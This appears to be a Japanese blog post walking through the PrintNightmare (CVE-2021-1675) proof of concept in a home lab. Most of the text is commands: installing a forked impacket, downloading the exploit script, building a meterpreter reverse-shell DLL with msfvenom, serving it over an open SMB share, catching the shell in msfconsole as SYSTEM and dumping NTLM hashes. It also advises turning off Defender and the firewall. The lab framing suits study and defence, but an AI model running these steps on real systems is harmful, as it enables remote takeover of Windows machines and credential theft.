話題の Windows 印刷スプーラの脆弱性の PoC を試してみました。
この脆弱性では、一般ユーザ権限でのリモート接続によって、SYSTEM 権限での悪意ある DLL を実行できます。この PoC では SYSTEM 権限でリバースシェルへ接続する DLL を実行します。
検証環境と攻撃の概要
構成図は以下の通り。
攻撃には一般ドメインユーザの ID/PW が必要ですが、攻撃が成功するとシステム権限 (NT AUTHORITY\SYSTEM) でリモートからシェル操作ができるようになります。
手順1. ドメインコントローラの準備
Windows Server 2019 等でドメインコントローラを 1 台以上用意し、example.com のドメインを作ります。また、ドメインユーザとして exuser01 を作ります。
手順2. Windows10 の準備 (ドメイン参加)
Windows10 を 1 台を用意し、ドメイン参加させます。(ドメイン名は example.com)
Defender を切るため、Avast 等をインストールし、OFF (「永久に停止」等) させます。また、Windows FW も OFF にします。
手順3. Kali Linux の準備
Kali Liniux を 1 台用意し、1 つ目のコンソールを開き、sudo -s で root になった後、以下の手順で実行していきます。
impacket forked version をインストール
# git clone https://github.com/cube0x0/impacket # cd impacket # python3 ./setup.py install
cube0x0's Github から CVE-2021-1675.py をダウンロードし実行権限付与
# curl -O https://raw.githubusercontent.com/cube0x0/CVE-2021-1675/main/CVE-2021-1675.py # chmod 777 CVE-2021-1675.py
悪意ある DLL を生成
ここでは 192.168.0.253 のリバースシェルに繋ぎにいく挙動をする DLL を生成します。
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.253 LPORT=4444 -f dll > shell-cmd.dll
/tmp へコピー (後で smb サービスで公開するため)
# cp ./shell-cmd.dll /tmp
Kali Linux 上で smb サービスを構成
# vi /etc/samba/smb.conf ~~~ [global] idmap config * : backend = tdb smb ports = 445 ~~~ [smb] comment = Samba path = /tmp/ guest ok = yes read only = no browsable = yes force user = smbuser
SMB User を追加
# useradd smbuser # smbpasswd -a smbuser
SMB を起動
# systemctl start smbd.service
リバースシェルを待ち構える
# msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.0.253; set lport 4444; exploit"
手順4. 攻撃
別のコンソールを起動し、impacket ディレクトリへ移動し、攻撃キック開始
kali@kali:~/impacket$ ./CVE-2021-1675.py example.com/exuser01:P@$$w0rd@192.168.0.2 '\\192.168.0.253\smb\shell-cmd.dll'
ここまで終えると、リバースシェルを待ち構えていたコンソールが以下のように meterpreter > と表示されます。
そして getuid と打つと、現在のユーザがシステム権限 (NT AUTHORITY\SYSTEM) であることが分かります。
例えば hashdump でローカルアカウントの NTLM hash を表示させることができます。
コメント